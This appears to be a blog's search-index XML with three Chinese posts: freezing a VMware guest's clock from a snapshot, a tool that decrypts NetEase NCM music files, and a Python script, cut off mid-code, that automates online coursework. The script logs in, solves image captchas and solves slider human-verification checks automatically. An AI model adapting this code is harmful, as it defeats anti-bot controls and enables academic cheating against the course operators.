<?xml version="1.0" encoding="utf-8"?>
<search> 
  
  
    
    <entry>
      <title>VMware 创建快照后锁定系统时间</title>
      <link href="/archives/tools/vmware-snapshot-lock-time.html"/>
      <url>/archives/tools/vmware-snapshot-lock-time.html</url>
      
        <content type="html"><![CDATA[<h2 id="📋-问题描述"><a href="#📋-问题描述" class="headerlink" title="📋 问题描述"></a>📋 问题描述</h2><p>在使用 VMware 虚拟机时，我们经常需要创建快照来保存系统的特定状态。但是，当我们从指定快照恢复启动后，虚拟机的系统时间会自动同步到当前真实时间，而不是我们期望的快照时刻的时间。</p><p><strong>典型场景：</strong></p><ul><li>测试软件在不同时间的行为</li><li>验证许可证过期后的功能</li><li>复现特定时间点的问题</li><li>教学演示需要固定时间环境</li></ul><p>为了解决这个问题，我们需要禁用 VMware 的时间同步功能，并设置固定的启动时间。</p><h2 id="🔧-解决方案"><a href="#🔧-解决方案" class="headerlink" title="🔧 解决方案"></a>🔧 解决方案</h2><h3 id="步骤-1：关闭-Windows-网络时间同步"><a href="#步骤-1：关闭-Windows-网络时间同步" class="headerlink" title="步骤 1：关闭 Windows 网络时间同步"></a>步骤 1：关闭 Windows 网络时间同步</h3><p>首先，进入虚拟机内的 Windows 系统，关闭从网络自动同步时间的功能：</p><ol><li>右键点击任务栏右下角的时间</li><li>选择”调整日期&#x2F;时间”</li><li>关闭”自动设置时间”选项</li></ol><p><img src="https://images.hao.kim/uploads/2026/05/1779870761647.png" alt="关闭网络时间同步"></p><blockquote><p><strong>注意</strong>：此步骤确保操作系统不会主动从网络时间服务器同步时间。</p></blockquote><h3 id="步骤-2：修改-VMware-配置文件"><a href="#步骤-2：修改-VMware-配置文件" class="headerlink" title="步骤 2：修改 VMware 配置文件"></a>步骤 2：修改 VMware 配置文件</h3><p>找到虚拟机的配置文件（<code>.vmx</code> 文件），通常位于虚拟机所在目录，文件名与虚拟机名称相同。</p><h4 id="2-1-禁用时间同步"><a href="#2-1-禁用时间同步" class="headerlink" title="2.1 禁用时间同步"></a>2.1 禁用时间同步</h4><p>在 <code>.vmx</code> 文件末尾添加以下配置：</p><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="attr">time.synchronize.continue</span> = <span class="string">&quot;FALSE&quot;</span></span><br><span class="line"><span class="attr">time.synchronize.restore</span> = <span class="string">&quot;FALSE&quot;</span></span><br><span class="line"><span class="attr">time.synchronize.resume.disk</span> = <span class="string">&quot;FALSE&quot;</span></span><br><span class="line"><span class="attr">time.synchronize.shrink</span> = <span class="string">&quot;FALSE&quot;</span></span><br><span class="line"><span class="attr">time.synchronize.tools.startup</span> = <span class="string">&quot;FALSE&quot;</span></span><br></pre></td></tr></table></figure><p><strong>配置说明：</strong></p><ul><li><code>time.synchronize.continue</code>：禁用持续的时间同步</li><li><code>time.synchronize.restore</code>：禁用从快照恢复时的时间同步</li><li><code>time.synchronize.resume.disk</code>：禁用从磁盘恢复时的时间同步</li><li><code>time.synchronize.shrink</code>：禁用磁盘收缩时的时间同步</li><li><code>time.synchronize.tools.startup</code>：禁用 VMware Tools 启动时的时间同步</li></ul><h4 id="2-2-设置固定启动时间"><a href="#2-2-设置固定启动时间" class="headerlink" title="2.2 设置固定启动时间"></a>2.2 设置固定启动时间</h4><p>添加以下配置来设置虚拟机启动时的初始时间：</p><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="attr">rtc.startTime</span> = <span class="string">&quot;1780252200&quot;</span></span><br></pre></td></tr></table></figure><p><strong>参数说明：</strong></p><ul><li><code>rtc.startTime</code>：设置虚拟机 RTC（实时时钟）的启动时间</li><li>后面的数字是 <strong>Unix 时间戳</strong>（从 1970年1月1日 00:00:00 UTC 开始的秒数）</li></ul><h4 id="2-3-获取时间戳"><a href="#2-3-获取时间戳" class="headerlink" title="2.3 获取时间戳"></a>2.3 获取时间戳</h4><p>你需要将期望的时间转换为 Unix 时间戳。可以使用以下在线工具：</p><ul><li><a href="https://timetool.cn/timestamp/">时间戳转换工具</a></li><li><a href="https://www.unixtimestamp.com/">Unix Timestamp Converter</a></li></ul><p><strong>示例：</strong></p><ul><li>2026-05-30 12:30:00 → <code>1780252200</code></li><li>2025-01-01 00:00:00 → <code>1735689600</code></li><li>2024-12-25 08:00:00 → <code>1735113600</code></li></ul><h3 id="步骤-3：创建新快照"><a href="#步骤-3：创建新快照" class="headerlink" title="步骤 3：创建新快照"></a>步骤 3：创建新快照</h3><p>完成配置文件修改后：</p><ol><li>保存并关闭 <code>.vmx</code> 文件</li><li>启动虚拟机（此时时间应该为你设置的时间）</li><li>验证时间是否正确</li><li>创建一个新的快照，保存这个状态</li></ol><p>现在，每次从这个快照恢复时，虚拟机的时间都会保持在你设定的时刻。</p><h2 id="⚙️-高级配置选项"><a href="#⚙️-高级配置选项" class="headerlink" title="⚙️ 高级配置选项"></a>⚙️ 高级配置选项</h2><h3 id="仅禁用特定场景的时间同步"><a href="#仅禁用特定场景的时间同步" class="headerlink" title="仅禁用特定场景的时间同步"></a>仅禁用特定场景的时间同步</h3><p>如果你不需要完全禁用时间同步，可以只禁用特定场景：</p><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 仅禁用快照恢复时的时间同步</span></span><br><span class="line"><span class="attr">time.synchronize.restore</span> = <span class="string">&quot;FALSE&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 保持其他时间同步功能启用</span></span><br><span class="line"><span class="attr">time.synchronize.continue</span> = <span class="string">&quot;TRUE&quot;</span></span><br></pre></td></tr></table></figure><h3 id="使用-BIOS-时间而非主机时间"><a href="#使用-BIOS-时间而非主机时间" class="headerlink" title="使用 BIOS 时间而非主机时间"></a>使用 BIOS 时间而非主机时间</h3><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="attr">bios.forceSetupOnce</span> = <span class="string">&quot;FALSE&quot;</span></span><br><span class="line"><span class="attr">rtc.useLocalTime</span> = <span class="string">&quot;TRUE&quot;</span></span><br></pre></td></tr></table></figure><h3 id="禁用-VMware-Tools-时间同步"><a href="#禁用-VMware-Tools-时间同步" class="headerlink" title="禁用 VMware Tools 时间同步"></a>禁用 VMware Tools 时间同步</h3><p>如果安装了 VMware Tools，还需要在虚拟机内部禁用：</p><p><strong>Windows 虚拟机：</strong></p><ol><li>打开注册表编辑器（<code>regedit</code>）</li><li>导航到：<code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VMMEMCTL</code></li><li>创建或修改 DWORD 值：<code>DisableTimeSync = 1</code></li></ol><p><strong>Linux 虚拟机：</strong><br>编辑 <code>/etc/vmware-tools/tools.conf</code>：</p><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="section">[timeSync]</span></span><br><span class="line"><span class="attr">enable</span> = <span class="literal">false</span></span><br></pre></td></tr></table></figure><h2 id="❓-常见问题"><a href="#❓-常见问题" class="headerlink" title="❓ 常见问题"></a>❓ 常见问题</h2><h3 id="Q1-修改配置后时间仍然同步怎么办？"><a href="#Q1-修改配置后时间仍然同步怎么办？" class="headerlink" title="Q1: 修改配置后时间仍然同步怎么办？"></a>Q1: 修改配置后时间仍然同步怎么办？</h3><p><strong>A:</strong> 请检查以下几点：</p><ol><li>确认虚拟机已完全关闭（不是挂起状态）</li><li>确认 <code>.vmx</code> 文件已正确保存</li><li>尝试删除 <code>.lck</code> 锁定文件夹后重新启动</li><li>检查 VMware Tools 是否启用了时间同步</li></ol><h3 id="Q2-如何恢复时间同步功能？"><a href="#Q2-如何恢复时间同步功能？" class="headerlink" title="Q2: 如何恢复时间同步功能？"></a>Q2: 如何恢复时间同步功能？</h3><p><strong>A:</strong> 将配置文件中的所有 <code>FALSE</code> 改回 <code>TRUE</code>，或删除这些配置行：</p><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="attr">time.synchronize.continue</span> = <span class="string">&quot;TRUE&quot;</span></span><br><span class="line"><span class="attr">time.synchronize.restore</span> = <span class="string">&quot;TRUE&quot;</span></span><br><span class="line"><span class="attr">time.synchronize.resume.disk</span> = <span class="string">&quot;TRUE&quot;</span></span><br><span class="line"><span class="attr">time.synchronize.shrink</span> = <span class="string">&quot;TRUE&quot;</span></span><br><span class="line"><span class="attr">time.synchronize.tools.startup</span> = <span class="string">&quot;TRUE&quot;</span></span><br></pre></td></tr></table></figure><h3 id="Q3-时间戳计算错误导致时间不对？"><a href="#Q3-时间戳计算错误导致时间不对？" class="headerlink" title="Q3: 时间戳计算错误导致时间不对？"></a>Q3: 时间戳计算错误导致时间不对？</h3><p><strong>A:</strong> </p><ol><li>确认使用的是 <strong>秒级</strong> Unix 时间戳（10位数字）</li><li>注意时区差异，时间戳是基于 UTC 时间的</li><li>使用在线工具验证时间戳是否正确</li></ol><h3 id="Q4-可以在运行时动态修改时间吗？"><a href="#Q4-可以在运行时动态修改时间吗？" class="headerlink" title="Q4: 可以在运行时动态修改时间吗？"></a>Q4: 可以在运行时动态修改时间吗？</h3><p><strong>A:</strong> 不建议在虚拟机运行时修改 <code>.vmx</code> 文件。正确的做法是：</p><ol><li>关闭虚拟机</li><li>修改配置文件</li><li>重新启动虚拟机</li></ol><h3 id="Q5-这个配置会影响性能吗？"><a href="#Q5-这个配置会影响性能吗？" class="headerlink" title="Q5: 这个配置会影响性能吗？"></a>Q5: 这个配置会影响性能吗？</h3><p><strong>A:</strong> 不会影响性能。禁用时间同步只是阻止 VMware 自动调整虚拟机时间，对 CPU、内存和磁盘性能没有任何影响。</p><h2 id="💡-使用建议"><a href="#💡-使用建议" class="headerlink" title="💡 使用建议"></a>💡 使用建议</h2><ol><li><p><strong>测试环境专用</strong>：此配置主要用于测试和开发环境，生产环境建议保持时间同步以确保日志和认证的准确性</p></li><li><p><strong>记录时间戳</strong>：建议在文档中记录你使用的时间戳对应的实际时间，方便后续维护</p></li><li><p><strong>定期验证</strong>：定期检查虚拟机时间是否符合预期，特别是在更新 VMware 版本后</p></li><li><p><strong>备份配置</strong>：修改 <code>.vmx</code> 文件前，建议先备份原文件</p></li><li><p><strong>结合快照管理</strong>：可以为不同的测试场景创建多个快照，每个快照对应不同的时间点</p></li></ol><h2 id="📌-注意事项"><a href="#📌-注意事项" class="headerlink" title="📌 注意事项"></a>📌 注意事项</h2><p>⚠️ <strong>重要提醒：</strong></p><ul><li>禁用时间同步可能导致某些依赖准确时间的应用程序出现问题</li><li>SSL&#x2F;TLS 证书验证可能因时间不准确而失败</li><li>Kerberos 认证等安全协议需要准确的时间同步</li><li>日志文件的时间戳可能与实际时间不符，排查问题时需注意</li><li>仅在有明确需求时才禁用时间同步，测试完成后建议恢复</li></ul><h2 id="🔗-相关资源"><a href="#🔗-相关资源" class="headerlink" title="🔗 相关资源"></a>🔗 相关资源</h2><ul><li><a href="https://docs.vmware.com/">VMware 官方文档 - 时间同步</a></li><li><a href="https://timetool.cn/timestamp/">Unix 时间戳在线转换</a></li><li><a href="https://docs.vmware.com/en/VMware-Tools/">VMware Tools 配置指南</a></li></ul>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> VMware </tag>
            
            <tag> 快照 </tag>
            
            <tag> 系统时间 </tag>
            
            <tag> 时间同步 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>网易云音乐 NCM转mp3</title>
      <link href="/archives/tools/163music-ncm-decode.html"/>
      <url>/archives/tools/163music-ncm-decode.html</url>
      
        <content type="html"><![CDATA[<p>使用网易云客户端下载的音乐，有一些是ncm格式的，不是mp3格式， 直接复制这个ncm到其他设备是无法播放的，需要转成mp3等音频格式 ，<br>这是一个将ncm转mp3的软件<br>项目地址 </p><p><a href="https://github.com/urldecode/ncmdump-gui">https://github.com/urldecode/ncmdump-gui</a></p><p>图片</p><p><img src="https://images.hao.kim/uploads/2026/05/1779353629492.png" alt="图 0">  </p><p><img src="https://images.hao.kim/uploads/2026/05/1779353694332.png" alt="图 2">  </p><h2 id="🔐-核心算法原理"><a href="#🔐-核心算法原理" class="headerlink" title="🔐 核心算法原理"></a>🔐 核心算法原理</h2><p>NCM 文件格式是网易云音乐的专有加密格式，其解密过程包含多个步骤：</p><h3 id="1-文件头验证"><a href="#1-文件头验证" class="headerlink" title="1. 文件头验证"></a>1. 文件头验证</h3><p>每个 NCM 文件以固定的 8 字节魔数开头：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">CTENFDAM</span><br></pre></td></tr></table></figure><p>程序首先读取前 8 字节进行验证，确保文件格式正确。</p><h3 id="2-密钥数据解密"><a href="#2-密钥数据解密" class="headerlink" title="2. 密钥数据解密"></a>2. 密钥数据解密</h3><p>密钥数据经过两层加密保护：</p><h4 id="第一层：XOR-解密"><a href="#第一层：XOR-解密" class="headerlink" title="第一层：XOR 解密"></a>第一层：XOR 解密</h4><p>使用固定密钥 <code>0x64</code> 对密钥数据进行逐字节 XOR 运算。</p><h4 id="第二层：AES-ECB-解密"><a href="#第二层：AES-ECB-解密" class="headerlink" title="第二层：AES-ECB 解密"></a>第二层：AES-ECB 解密</h4><p>使用预定义的 AES 密钥进行 ECB 模式解密。</p><h4 id="PKCS7-去填充"><a href="#PKCS7-去填充" class="headerlink" title="PKCS7 去填充"></a>PKCS7 去填充</h4><p>解密后的数据需要进行 PKCS7 去填充处理，提取实际的音频解密密钥（跳过前 17 字节）。</p><h3 id="3-元数据解密"><a href="#3-元数据解密" class="headerlink" title="3. 元数据解密"></a>3. 元数据解密</h3><p>元数据包含歌曲信息（歌名、歌手、专辑等），经过三层加密：</p><h4 id="第一层：XOR-解密-1"><a href="#第一层：XOR-解密-1" class="headerlink" title="第一层：XOR 解密"></a>第一层：XOR 解密</h4><p>使用密钥 <code>0x63</code> 进行 XOR 运算。</p><h4 id="第二层：Base64-解码"><a href="#第二层：Base64-解码" class="headerlink" title="第二层：Base64 解码"></a>第二层：Base64 解码</h4><p>跳过前缀 <code>&quot;163 key(Don&#39;t modify):&quot;</code>（22 字节）后，进行 Base64 解码。</p><h4 id="第三层：AES-ECB-解密"><a href="#第三层：AES-ECB-解密" class="headerlink" title="第三层：AES-ECB 解密"></a>第三层：AES-ECB 解密</h4><p>使用元数据专用密钥进行 AES-ECB 解密。</p><h4 id="PKCS7-去填充与-JSON-解析"><a href="#PKCS7-去填充与-JSON-解析" class="headerlink" title="PKCS7 去填充与 JSON 解析"></a>PKCS7 去填充与 JSON 解析</h4><p>去填充后跳过 <code>&quot;music:&quot;</code> 前缀（6 字节），得到 JSON 格式的元数据。</p><h3 id="4-音频数据解密"><a href="#4-音频数据解密" class="headerlink" title="4. 音频数据解密"></a>4. 音频数据解密</h3><p>音频数据使用 <strong>RC4-like 流密码</strong>进行加密，对每个音频数据块进行逐字节 XOR 解密。</p><h3 id="5-文件结构偏移"><a href="#5-文件结构偏移" class="headerlink" title="5. 文件结构偏移"></a>5. 文件结构偏移</h3><p>在读取音频数据之前，需要跳过以下部分：</p><ul><li>CRC32 校验码：4 字节</li><li>保留字节：5 字节</li><li>封面图片长度：4 字节</li><li>封面图片数据：可变长度</li></ul><h2 id="📝-功能使用说明"><a href="#📝-功能使用说明" class="headerlink" title="📝 功能使用说明"></a>📝 功能使用说明</h2><h3 id="快速开始"><a href="#快速开始" class="headerlink" title="快速开始"></a>快速开始</h3><ol><li><p><strong>启动程序</strong></p><ul><li>双击 <code>ncmdump-gui.exe</code> 运行</li></ul></li><li><p><strong>选择文件</strong><br>-点击 <strong>“📁 选择 NCM 文件”</strong> 按钮，选择一个或多个 NCM 文件</p><ul><li>或点击 <strong>“📂 选择目录”</strong> 按钮，扫描整个目录下的所有 NCM 文件</li></ul></li><li><p><strong>设置输出目录</strong></p><ul><li>点击 <strong>“浏览…”</strong> 按钮，选择解密后文件的保存位置</li></ul></li><li><p><strong>配置选项</strong></p><ul><li>勾选 <strong>“自动复制同名 .lrc 歌词文件”</strong>（默认开启）</li><li>如有同名歌词文件，将自动复制到输出目录</li></ul></li><li><p><strong>开始解密</strong></p><ul><li>点击 <strong>“开始解密”</strong> 按钮</li><li>等待处理完成，查看解密结果</li></ul></li></ol><h3 id="界面功能说明"><a href="#界面功能说明" class="headerlink" title="界面功能说明"></a>界面功能说明</h3><h4 id="文件列表区域"><a href="#文件列表区域" class="headerlink" title="文件列表区域"></a>文件列表区域</h4><ul><li>显示已选择的所有 NCM 文件</li><li>点击 <strong>“×”</strong> 按钮可移除单个文件</li><li>点击 <strong>“🗑️ 清空列表”</strong> 可清除所有文件</li></ul><h4 id="进度显示"><a href="#进度显示" class="headerlink" title="进度显示"></a>进度显示</h4><ul><li>解密过程中显示实时进度条</li><li>显示当前正在处理的文件名</li></ul><h4 id="结果展示"><a href="#结果展示" class="headerlink" title="结果展示"></a>结果展示</h4><ul><li><strong>成功</strong>：绿色卡片，显示音频格式和输出路径</li><li><strong>失败</strong>：红色卡片，显示错误原因</li><li><strong>统计</strong>：显示成功&#x2F;失败数量和歌词复制数量</li><li>点击 <strong>“🗑️ 清除结果”</strong> 可清空历史记录</li></ul><h3 id="常见问题"><a href="#常见问题" class="headerlink" title="常见问题"></a>常见问题</h3><p><strong>Q: 为什么解密后的 MP3 文件无法播放？</strong><br>A: 请确认：</p><ol><li>原始 NCM 文件未损坏</li><li>输出目录有写入权限</li><li>检查错误提示信息</li></ol><p><strong>Q: 如何解密整个音乐文件夹？</strong><br>A: 点击”选择目录”按钮，选择包含 NCM 文件的文件夹，程序会自动扫描所有子目录。</p><p><strong>Q: 歌词文件没有复制怎么办？</strong><br>A: 请确认：</p><ol><li>歌词文件与 NCM 文件同名（仅扩展名不同）</li><li>歌词文件在同一目录下</li><li>已勾选”自动复制同名 .lrc 歌词文件”选项</li></ol><p><strong>Q: 可以在 macOS 或 Linux 上使用吗？</strong><br>A: 当前仅提供 Windows 版本。如需跨平台支持，可使用源代码重新编译。</p><h2 id="✨-主要特性"><a href="#✨-主要特性" class="headerlink" title="✨ 主要特性"></a>✨ 主要特性</h2><h3 id="1-单文件分发，零依赖运行"><a href="#1-单文件分发，零依赖运行" class="headerlink" title="1. 单文件分发，零依赖运行"></a>1. 单文件分发，零依赖运行</h3><ul><li>编译为单个 <code>.exe</code> 文件（约 11 MB）</li><li>无需安装 Go、Node.js、Python 或其他运行时</li><li>Windows 系统自带 WebView2，开箱即用</li></ul><h3 id="2-批量解密与目录扫描"><a href="#2-批量解密与目录扫描" class="headerlink" title="2. 批量解密与目录扫描"></a>2. 批量解密与目录扫描</h3><ul><li>支持逐个添加文件</li><li>支持递归扫描整个目录树</li><li>自动识别所有 <code>.ncm</code> 文件（不区分大小写）</li><li>智能去重，避免重复处理</li></ul><h3 id="3-歌词文件自动复制"><a href="#3-歌词文件自动复制" class="headerlink" title="3. 歌词文件自动复制"></a>3. 歌词文件自动复制</h3><ul><li>自动检测同名的 <code>.lrc</code> 歌词文件</li><li>复制到输出目录，保持与音频文件相同的名称</li><li>可手动开启&#x2F;关闭此功能</li></ul><h3 id="4-现代化-GUI-界面"><a href="#4-现代化-GUI-界面" class="headerlink" title="4. 现代化 GUI 界面"></a>4. 现代化 GUI 界面</h3><ul><li>基于 Vue 3 + Wails 构建</li><li>蓝紫色渐变背景，视觉效果出色</li><li>实时进度条显示</li><li>详细的解密结果统计</li><li>响应式设计，操作流畅</li></ul><h3 id="5-完善的错误处理"><a href="#5-完善的错误处理" class="headerlink" title="5. 完善的错误处理"></a>5. 完善的错误处理</h3><ul><li>文件格式验证</li><li>详细的错误提示信息</li><li>失败文件不影响其他文件的处理</li><li>清晰的日志记录</li></ul>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 网易云音乐 </tag>
            
            <tag> 163 </tag>
            
            <tag> ncm </tag>
            
            <tag> mp3 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>学起自动化学习/刷课</title>
      <link href="/archives/tools/xueqiplus-auto-learning.html"/>
      <url>/archives/tools/xueqiplus-auto-learning.html</url>
      
        <content type="html"><![CDATA[<p>之前我写了一个python的刷课脚本， 手动的地方比较多， 在AI的 加持下，对项目进行了重写，只需要添加三个地方</p><ul><li><ol><li>base_url, 学习系统地址  47行</li></ol></li><li><ol start="2"><li>username  学号  50行</li></ol></li><li><ol start="3"><li>password  密码  51行</li></ol></li></ul><p>修改的地方如下图</p><p><img src="https://images.hao.kim/uploads/2026/04/1775987226524.png" alt="picture 4">  </p><p>脚本会自动进行登陆， 自动识别验证码， 如果有滑块人机验证会自动进行验证，<br><img src="https://images.hao.kim/uploads/2026/04/1775985913260.png" alt="picture 2"><br><img src="https://images.hao.kim/uploads/2026/04/1775986017505.png" alt="picture 3">  </p><p>完整代码如下<br>github仓库地址<br><a href="https://github.com/urldecode/xueqiplus-auto-leaning">https://github.com/urldecode/xueqiplus-auto-leaning</a></p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">from</span> io <span class="keyword">import</span> BytesIO</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    <span class="keyword">import</span> ddddocr</span><br><span class="line">    OCR_AVAILABLE = <span class="literal">True</span></span><br><span class="line"><span class="keyword">except</span> ImportError:</span><br><span class="line">    OCR_AVAILABLE = <span class="literal">False</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;警告: 未安装ddddocr库，验证码识别功能将不可用&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;请运行: pip install ddddocr&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    <span class="keyword">from</span> captcha_recognizer.slider <span class="keyword">import</span> Slider</span><br><span class="line">    CAPTCHA_RECOGNIZER_AVAILABLE = <span class="literal">True</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;✓ captcha-recognizer 已加载，支持自动识别滑块缺口&quot;</span>)</span><br><span class="line"><span class="keyword">except</span> ImportError:</span><br><span class="line">    CAPTCHA_RECOGNIZER_AVAILABLE = <span class="literal">False</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;⚠ 未安装captcha-recognizer，将使用手动方式识别缺口&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;  安装命令: pip install captcha-recognizer&quot;</span>)</span><br><span class="line"></span><br><span class="line">session = requests.Session()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">USE_PROXY = <span class="literal">False</span>  <span class="comment"># 设置为 True 启用代理</span></span><br><span class="line">PROXY_CONFIG = &#123;</span><br><span class="line">    <span class="string">&quot;http&quot;</span>: <span class="string">&quot;http://127.0.0.1:8083&quot;</span>,</span><br><span class="line">    <span class="string">&quot;https&quot;</span>: <span class="string">&quot;http://127.0.0.1:8083&quot;</span>,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> USE_PROXY:</span><br><span class="line">    session.proxies.update(PROXY_CONFIG)</span><br><span class="line">    <span class="comment"># 禁用SSL验证（如果使用mitmproxy等需要）</span></span><br><span class="line">    session.verify = <span class="literal">False</span></span><br><span class="line">    <span class="keyword">from</span> urllib3.exceptions <span class="keyword">import</span> InsecureRequestWarning</span><br><span class="line">    <span class="keyword">import</span> warnings</span><br><span class="line">    warnings.filterwarnings(<span class="string">&#x27;ignore&#x27;</span>, category=InsecureRequestWarning)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;✓ HTTP代理已启用: <span class="subst">&#123;PROXY_CONFIG[<span class="string">&#x27;http&#x27;</span>]&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;  提示: 请确保代理工具正在运行&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 基础URL</span></span><br><span class="line"><span class="comment"># BASE_URL = &quot;https://swfucce.sccchina.net&quot;</span></span><br><span class="line">BASE_URL = <span class="string">&quot;https://修改为学生学习系统地址&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 用户配置 - 请修改为你的实际账号密码</span></span><br><span class="line">USERNAME = <span class="string">&quot;xxxxxx&quot;</span>  <span class="comment"># 学号</span></span><br><span class="line">PASSWORD = <span class="string">&quot;xxxxxx&quot;</span>  <span class="comment"># 密码</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 全局变量存储动态参数（将从 /student/ 页面自动获取）</span></span><br><span class="line">edu_token = <span class="literal">None</span></span><br><span class="line">edu_sign = <span class="literal">None</span>  <span class="comment"># eduSign可能需要手动配置或从其他接口获取</span></span><br><span class="line">edu_cid = <span class="literal">None</span></span><br><span class="line">user_account_id = <span class="literal">None</span>  <span class="comment"># 从页面自动获取</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果知道eduSign的值，可以在这里配置（从浏览器F12抓包获取）</span></span><br><span class="line"><span class="comment"># 例如: EDU_SIGN_CONFIG = &quot;b9f1ee591cf8610654aa076cb30c8173&quot;</span></span><br><span class="line">EDU_SIGN_CONFIG = <span class="literal">None</span>  <span class="comment"># 设置为None则不添加eduSign字段</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">create_base_headers</span>(<span class="params">content_type=<span class="literal">None</span>, extra_headers=<span class="literal">None</span></span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    创建基础请求头</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">    参数:</span></span><br><span class="line"><span class="string">        content_type: Content-Type，如 &#x27;application/json&#x27; 或 &#x27;application/x-www-form-urlencoded&#x27;</span></span><br><span class="line"><span class="string">        extra_headers: 额外的header字典</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">    返回:</span></span><br><span class="line"><span class="string">        完整的headers字典</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    headers = &#123;</span><br><span class="line">        <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0&quot;</span>,</span><br><span class="line">        <span class="string">&quot;X-Requested-With&quot;</span>: <span class="string">&quot;XMLHttpRequest&quot;</span>,</span><br><span class="line">        <span class="string">&quot;Origin&quot;</span>: BASE_URL,</span><br><span class="line">        <span class="string">&quot;Referer&quot;</span>: <span class="string">f&quot;<span class="subst">&#123;BASE_URL&#125;</span>/&quot;</span>,</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> content_type:</span><br><span class="line">        headers[<span class="string">&quot;Content-Type&quot;</span>] = content_type</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> extra_headers:</span><br><span class="line">        headers.update(extra_headers)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> headers</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">create_api_headers</span>(<span class="params">content_type=<span class="string">&quot;application/json&quot;</span>, extra_headers=<span class="literal">None</span></span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    创建API请求头（包含eduToken等认证信息）</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">    参数:</span></span><br><span class="line"><span class="string">        content_type: Content-Type</span></span><br><span class="line"><span class="string">        extra_headers: 额外的header字典</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">    返回:</span></span><br><span class="line"><span class="string">        完整的headers字典</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    headers = create_base_headers(content_type=content_type, extra_headers=extra_headers)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 添加认证相关的header</span></span><br><span class="line">    <span class="keyword">if</span> user_account_id:</span><br><span class="line">        headers[<span class="string">&quot;eduUId&quot;</span>] = user_account_id</span><br><span class="line">    <span class="keyword">if</span> edu_token:</span><br><span class="line">        headers[<span class="string">&quot;eduToken&quot;</span>] = edu_token</span><br><span class="line">    <span class="keyword">if</span> edu_cid:</span><br><span class="line">        headers[<span class="string">&quot;eduCId&quot;</span>] = edu_cid</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 添加eduSign</span></span><br><span class="line">    <span class="keyword">if</span> EDU_SIGN_CONFIG:</span><br><span class="line">        headers[<span class="string">&quot;eduSign&quot;</span>] = EDU_SIGN_CONFIG</span><br><span class="line">    <span class="keyword">elif</span> edu_sign:</span><br><span class="line">        headers[<span class="string">&quot;eduSign&quot;</span>] = edu_sign</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> headers</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_verify_code</span>():</span><br><span class="line">    <span class="string">&quot;&quot;&quot;获取验证码图片和VERIFYCODE cookie&quot;&quot;&quot;</span></span><br><span class="line">    <span class="comment"># 生成随机数，模拟前端行为</span></span><br><span class="line">    timestamp = <span class="built_in">int</span>(time.time() * <span class="number">1000</span>)</span><br><span class="line">    verify_url = <span class="string">f&quot;<span class="subst">&#123;BASE_URL&#125;</span>/verifycode?<span class="subst">&#123;timestamp&#125;</span>&quot;</span></span><br><span class="line">    </span><br><span class="line">    headers = create_base_headers()</span><br><span class="line">    </span><br><span class="line">    response = session.get(verify_url, headers=headers)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> 